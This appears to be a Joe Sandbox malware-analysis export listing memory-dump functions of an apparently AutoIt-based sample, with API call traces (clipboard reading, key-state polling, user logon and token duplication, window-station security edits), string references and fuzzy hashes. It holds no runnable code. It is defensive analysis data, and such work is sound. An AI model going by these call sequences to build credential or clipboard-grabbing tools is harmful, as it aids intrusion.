Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: e1bc1c602aa5e2b9a1d7a24a9de7c3d30255994bb7236b7fa9d39c3d3cfd6c1e
Instruction ID: e7d32d29813ba5cfca2286c491b544055e3e565a44bfd514ad5a3637511cf607
Opcode Fuzzy Hash: e1bc1c602aa5e2b9a1d7a24a9de7c3d30255994bb7236b7fa9d39c3d3cfd6c1e
Instruction Fuzzy Hash: 4911187590410AAFCB15DF58E9419DA7BF5FF49314F104099F809AB312DA31DA21CBA5

Function 00B729BF Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?,?,?,00B714B5,?), ref: 00B72A01

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 4bd730c61cabea3b6d0241d1e258ecd423f955afb67f05e74df86fae7d50e06a
Instruction ID: 670cdd5317211b1d12827caa764782004f12fc10a3f74b9aa9a6f95af2806fcc
Opcode Fuzzy Hash: 4bd730c61cabea3b6d0241d1e258ecd423f955afb67f05e74df86fae7d50e06a
Instruction Fuzzy Hash: B7019E36700A419FD3248B2CC494B2237E2EBC5314F29C4A8C16F8B251DB32ED42C7A0

Function 00B0E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 73fb1d8e773f896380c3ca376100e7cc33c20c5fe77927f3a3d0e032a46d45a2
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 4AF0F432510A149ADA313A69AC05B9A3BD89F52335F100BE5F431972D2CB71D84186A6

Function 00B7149E Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?), ref: 00B714EB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: feaf739d9f7b5c29541b67d2dcec4bc78bb5ab4171f651427a7fb25395b64851
Instruction ID: 2944686a4b7632302fb78f946550b72283e791854f109bcbcc35262ac090f1b0
Opcode Fuzzy Hash: feaf739d9f7b5c29541b67d2dcec4bc78bb5ab4171f651427a7fb25395b64851
Instruction Fuzzy Hash: FE01BC352046419F9720CF6ED440826BBE5EB84324754C4ADE86E8B702E632DE82CB90

Function 00B13820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00BB1444,?,00AFFDF5,?,?,00AEA976,00000010,00BB1440,00AE13FC,?,00AE13C6,?,00AE1129), ref: 00B13852

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6d0a5157a2f1a1c957762b946ebe39bfcf5e6c47d129a6986e7de30fc1e33ff9
Instruction ID: 529b6ecea5afc780061dad3c290e80c1d907c7092be45cb8a739790279c8d9d5
Opcode Fuzzy Hash: 6d0a5157a2f1a1c957762b946ebe39bfcf5e6c47d129a6986e7de30fc1e33ff9
Instruction Fuzzy Hash: 4FE0E531100225A6D63127669C04BDA3BC8EB42FB0F9501E4BD08928C0FB10DE8183E0

Function 00AE4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4F6D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 705968a1e5c4965bea8f274e5d2d10d965d4531b2c8419d8580396bb7c216266
Instruction ID: 093ba080db0c9201c9a97aab402777585d2d49d737a18b7b5b38da54c8456e54
Opcode Fuzzy Hash: 705968a1e5c4965bea8f274e5d2d10d965d4531b2c8419d8580396bb7c216266
Instruction Fuzzy Hash: 68F03071105791CFDB349F66D494812BBF8AF18B19310897EE1EA83911C7359C44DF50

Function 00B72A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00B72A66

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 0648bc3894c6ac0d784c24f378669246bf4c0861b6206c10a14c6dd3f1dbaf52
Instruction ID: 67f18ef542c38c7ad68300643f04543a8cc613c8afcac154cecefe243208c8d9
Opcode Fuzzy Hash: 0648bc3894c6ac0d784c24f378669246bf4c0861b6206c10a14c6dd3f1dbaf52
Instruction Fuzzy Hash: 08E04F36350116AAC714EB30ECC19FA77DCEB50395B1085BAAD6AD2100DB309A95A6A0

Function 00AE2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00AE2DC4

Part of subcall function 00AE6B57: _wcslen.LIBCMT ref: 00AE6B6A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 3153ed97834f25d478271ce6a039dcf01902fede0e587fb6bdfae9342ccdd851
Instruction ID: b82137daa43a769259ccef56c9fb9753b5a280cd01742fb4b01592c6c9f0d9a0
Opcode Fuzzy Hash: 3153ed97834f25d478271ce6a039dcf01902fede0e587fb6bdfae9342ccdd851
Instruction Fuzzy Hash: F6E0CD726001245BC710A6589C05FDA77DDDFC87D0F0400B5FD0DD7258D960ADC08550

Function 00AE2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00AE3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00AE3908

Part of subcall function 00AED730: GetInputState.USER32 ref: 00AED807

SetCurrentDirectoryW.KERNEL32(?), ref: 00AE2B6B

Part of subcall function 00AE30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00AE314E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: cef331a23f162f55b45e531de74090f71a38cef876a75379e40c997142a877fa
Instruction ID: d8ddf823f2bc534fbb763954b1b2938a6ae34e34171c08c89c4adb6f01a42b09
Opcode Fuzzy Hash: cef331a23f162f55b45e531de74090f71a38cef876a75379e40c997142a877fa
Instruction Fuzzy Hash: A8E07D233002C407CF04BB37A96A5BDB74D8BD1311F800D3EF14243263CF6049854312

Function 00B43D03 Relevance: 1.5, APIs: 1, Instructions: 18windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B43D18

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSendTimeout
String ID:
API String ID: 1599653421-0
Opcode ID: 33d9dcf05cdb86f97f5844593ecae29b07c4d8d687e355055a7b2f17d3f4a826
Instruction ID: 024d1305c59b8eac773437370b89c963cad39349224f0b5cbf9f5ead45d467fd
Opcode Fuzzy Hash: 33d9dcf05cdb86f97f5844593ecae29b07c4d8d687e355055a7b2f17d3f4a826
Instruction Fuzzy Hash: 53D012E06A03087EFB0083718C0BEBB369CC316A81F104BA87A02D74C1D9A0DE080130

Function 00B2039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00B20704,?,?,00000000,?,00B20704,00000000,0000000C), ref: 00B203B7

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2c1aebab22473d4f8848097c3220454684c7f81b992063312b7863e60b26451f
Instruction ID: 7e7378bfe329fee123f27b8395d331d8364cc95df334e39ff447b1f9d706443b
Opcode Fuzzy Hash: 2c1aebab22473d4f8848097c3220454684c7f81b992063312b7863e60b26451f
Instruction Fuzzy Hash: 1ED06C3204010DBBDF028F84DD06EDA3FAAFB48714F014050BE1866020C732E861AB90

Function 00AE1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00AE1CBC

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 33ef7c43dc9a8d0755d5b285c51232a1804b5949ee7d221aa34be45925b55a96
Instruction ID: 73b1d851cf081d0940e200736878a850b4678b846c6359325372eba91480d3a4
Opcode Fuzzy Hash: 33ef7c43dc9a8d0755d5b285c51232a1804b5949ee7d221aa34be45925b55a96
Instruction Fuzzy Hash: 42C09B35280304AFF3144784FC5BF107754A358B00F444505F60D575E3DBE22450D754

Non-executed Functions

Function 00B79576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00AF9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00B7961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B7965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00B7969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B796C9
SendMessageW.USER32 ref: 00B796F2
GetKeyState.USER32(00000011), ref: 00B7978B
GetKeyState.USER32(00000009), ref: 00B79798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B797AE
GetKeyState.USER32(00000010), ref: 00B797B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B797E9
SendMessageW.USER32 ref: 00B79810
SendMessageW.USER32(?,00001030,?,00B77E95), ref: 00B79918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00B7992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00B79941
SetCapture.USER32(?), ref: 00B7994A
ClientToScreen.USER32(?,?), ref: 00B799AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00B799BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00B799D6
ReleaseCapture.USER32 ref: 00B799E1
GetCursorPos.USER32(?), ref: 00B79A19
ScreenToClient.USER32(?,?), ref: 00B79A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00B79A80
SendMessageW.USER32 ref: 00B79AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00B79AEB
SendMessageW.USER32 ref: 00B79B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00B79B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00B79B4A
GetCursorPos.USER32(?), ref: 00B79B68
ScreenToClient.USER32(?,?), ref: 00B79B75
GetParent.USER32(?), ref: 00B79B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00B79BFA
SendMessageW.USER32 ref: 00B79C2B
ClientToScreen.USER32(?,?), ref: 00B79C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00B79CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00B79CDE
SendMessageW.USER32 ref: 00B79D01
ClientToScreen.USER32(?,?), ref: 00B79D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00B79D82

Part of subcall function 00AF9944: GetWindowLongW.USER32(?,000000EB), ref: 00AF9952

GetWindowLongW.USER32(?,000000F0), ref: 00B79E05

Strings

F, xrefs: 00B79D07
@GUI_DRAGID, xrefs: 00B7997D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: 3844130ac1e6de373f7fdda131fe7d5049aa6bd6ba4888dfd71f6703ab08ae06
Instruction ID: 4e80a771575f0a0a3c2930a29c4aacf7de5c1de6c7777a375089b5cb83b06f1b
Opcode Fuzzy Hash: 3844130ac1e6de373f7fdda131fe7d5049aa6bd6ba4888dfd71f6703ab08ae06
Instruction Fuzzy Hash: 44429F70204241AFD725CF28CC84EAABBE5FF49710F108A9DF6AD872A1DB71E851CB51

Function 00B41201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00B416C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B4170D
Part of subcall function 00B416C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B4173A
Part of subcall function 00B416C3: GetLastError.KERNEL32 ref: 00B4174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00B41286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00B412A8
CloseHandle.KERNEL32(?), ref: 00B412B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00B412D1
GetProcessWindowStation.USER32 ref: 00B412EA
SetProcessWindowStation.USER32(00000000), ref: 00B412F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00B41310

Part of subcall function 00B410BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B411FC), ref: 00B410D4
Part of subcall function 00B410BF: CloseHandle.KERNEL32(?,?,00B411FC), ref: 00B410E9

Strings

winsta0, xrefs: 00B412CC
, xrefs: 00B4125A
default, xrefs: 00B4130B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: e254b4cdd1b213e7d0bdae6cee57d1e1b80a17936a8237b37e29cba3c4a7f88b
Instruction ID: 2dd0cec7d7c342e9d419302d394be2961c80d4459b00da0abb90594a60eb1f79
Opcode Fuzzy Hash: e254b4cdd1b213e7d0bdae6cee57d1e1b80a17936a8237b37e29cba3c4a7f88b
Instruction Fuzzy Hash: 40817C71D00209AFDF209FA8DC49BEE7BB9EF04700F1445A9F915B62A0DB309A84DB60

Function 00B40B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B410F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B41114
Part of subcall function 00B410F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00B40B9B,?,?,?), ref: 00B41120
Part of subcall function 00B410F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B40B9B,?,?,?), ref: 00B4112F
Part of subcall function 00B410F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B40B9B,?,?,?), ref: 00B41136
Part of subcall function 00B410F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B4114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B40BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B40C00
GetLengthSid.ADVAPI32(?), ref: 00B40C17
GetAce.ADVAPI32(?,00000000,?), ref: 00B40C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B40C6D
GetLengthSid.ADVAPI32(?), ref: 00B40C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00B40C8C
HeapAlloc.KERNEL32(00000000), ref: 00B40C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B40CB4
CopySid.ADVAPI32(00000000), ref: 00B40CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B40CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B40D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B40D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B40D45
HeapFree.KERNEL32(00000000), ref: 00B40D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B40D55
HeapFree.KERNEL32(00000000), ref: 00B40D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B40D65
HeapFree.KERNEL32(00000000), ref: 00B40D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00B40D78
HeapFree.KERNEL32(00000000), ref: 00B40D7F

Part of subcall function 00B41193: GetProcessHeap.KERNEL32(00000008,00B40BB1,?,00000000,?,00B40BB1,?), ref: 00B411A1
Part of subcall function 00B41193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00B40BB1,?), ref: 00B411A8
Part of subcall function 00B41193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00B40BB1,?), ref: 00B411B7

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 368a35b7124164c43a68113361ff7b69bca78193bdec59364fa50fcd12a31d43
Instruction ID: 2a7c91d07e4b3dde77e589bb4436702b448b4f38e1098545ce7e95f2f2a6cf63
Opcode Fuzzy Hash: 368a35b7124164c43a68113361ff7b69bca78193bdec59364fa50fcd12a31d43
Instruction Fuzzy Hash: 19714071D0020AABDF10EFE4DC44FAEBBB8FF44310F1445A9EA19A7151DB71AA45DBA0

Function 00B5EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00B7CC08), ref: 00B5EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00B5EB37
GetClipboardData.USER32(0000000D), ref: 00B5EB43
CloseClipboard.USER32 ref: 00B5EB4F
GlobalLock.KERNEL32(00000000), ref: 00B5EB87
CloseClipboard.USER32 ref: 00B5EB91
GlobalUnlock.KERNEL32(00000000,00000000), ref: 00B5EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00B5EBC9
GetClipboardData.USER32(00000001), ref: 00B5EBD1
GlobalLock.KERNEL32(00000000), ref: 00B5EBE2
GlobalUnlock.KERNEL32(00000000,?), ref: 00B5EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00B5EC38
GetClipboardData.USER32(0000000F), ref: 00B5EC44
GlobalLock.KERNEL32(00000000), ref: 00B5EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00B5EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00B5EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00B5ECD2
GlobalUnlock.KERNEL32(00000000,?,?), ref: 00B5ECF3
CountClipboardFormats.USER32 ref: 00B5ED14
CloseClipboard.USER32 ref: 00B5ED59

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
